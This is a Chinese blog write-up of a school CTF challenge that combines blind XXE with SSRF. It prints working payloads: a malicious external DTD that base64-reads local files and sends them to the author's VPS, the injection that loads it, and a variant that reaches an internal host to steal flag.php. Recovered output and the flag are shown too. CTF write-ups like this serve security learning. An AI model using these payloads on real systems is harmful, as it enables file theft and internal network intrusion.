一道XXE和SSRF的题目

本文介绍了一道结合XML外部实体(XXE)漏洞与服务器侧请求伪造(SSRF)的安全挑战题目。通过利用XXE漏洞无回显的特点,作者详细记录了解题过程,包括如何设置恶意DTD文件读取服务器敏感信息,并进一步利用SSRF探测内网获取FLAG。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >


title: 一道XXE漏洞和SSRF结合的题目 date: 2018-01-14 16:47:59 tags: [writeup,ctf]

学校在考试周,ennnn.....搞了校赛 遇到了一道xxe和ssrf结合的题目,感觉挺不错的,简单记录一下

这里只记录下流程,具体的原理这里有几个链接(当时也是复习了一遍 前辈们比我写得好

未知攻焉知防——XXE漏洞攻防 XXE漏洞的简单理解和测试

打开题目很清楚就是xxe且无回显,接下来就直接写题解了 首先vps放文件file.dtd,内容如下:

<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/hosts">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://我的VPS地址/?p=%payl;'>">
复制代码

漏洞处payload

<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://我的VPS地址/file.dtd">%remote;%int;%trick;]>
复制代码

查看服务器log(nginx一般在var/log/nginx/access.log)

base64解码

127.0.0.1	localhost
::1	localhost ip6-localhost ip6-loopback
fe00::0	ip6-localnet
ff00::0	ip6-mcastprefix
ff02::1	ip6-allnodes
ff02::2	ip6-allrouters
172.17.0.6	flag 5e8af79b12ae xxessrf_flag_1
172.17.0.6	flag_1 5e8af79b12ae xxessrf_flag_1
172.17.0.6	xxessrf_flag_1 5e8af79b12ae
172.17.0.7	74791d7ac29b
复制代码

嗯????还有一层???接着继续读下index

<!DOCTYPE html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
	 
	<title>XML</title>
	<link rel="stylesheet" href="./bootstrap.min.css">  
	<script src="./jquery.min.js"></script>
	<script src="./bootstrap.min.js"></script>
</head>
<body>

<form role="form" id="form" method="POST" action="index.php">
	<div class="form-group">
		<label for="name">XML</label>
		<textarea class="form-control" rows="6" name="data" placeholder="
<code>
	<body>Hello World!</body>
</code> 
"></textarea>
	</div>
  <div class="btn-group">
    <button type="button" class="btn btn-default" onclick="document.getElementById('form').submit()">SUBMIT</button>
  </div>
  <?php
  	error_reporting(0);
	include("flag.php");
	if(isset($_POST['data']) and $_POST['data'] != "") {
		$xml = simplexml_load_string($_POST['data'], null, LIBXML_NOENT);
	}
	?>
  </form>
复制代码

哦??圈住include("flag.php"),尝试直接读,没反应,想着也应该,还有提示SSRF 至此,上午工作基本结束,剩下持续发呆直到下午...... xxessrf???开始探测内网端口....从8080.....到2018..... 嗯中途放弃了.....最后又拿了起来,在队友群又发一下hosts截图

你那个172.17.0.7是啥?

.......docker,内网 读取flag

<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=http://172.17.0.6/?file=php://filter/read=convert.base64-encode/resource=flag.php">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://我的VPS地址/?p=%payl;'>">
复制代码
UEQ5d2FIQWdDaTh2WldOb2J5QWlZM1Z0ZEdOMFpudENNV2x1TTE5NGVETmZZVzVrWDNOemNtWmZNWE5mUTI5dmJEOTlJanNLUHo0S0NnPT0=

...

<?php 
//echo "cumtctf{B1in3_xx3_and_ssrf_1s_Cool?}";
?>
复制代码

好久没做题了,脑子有点不好使......

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值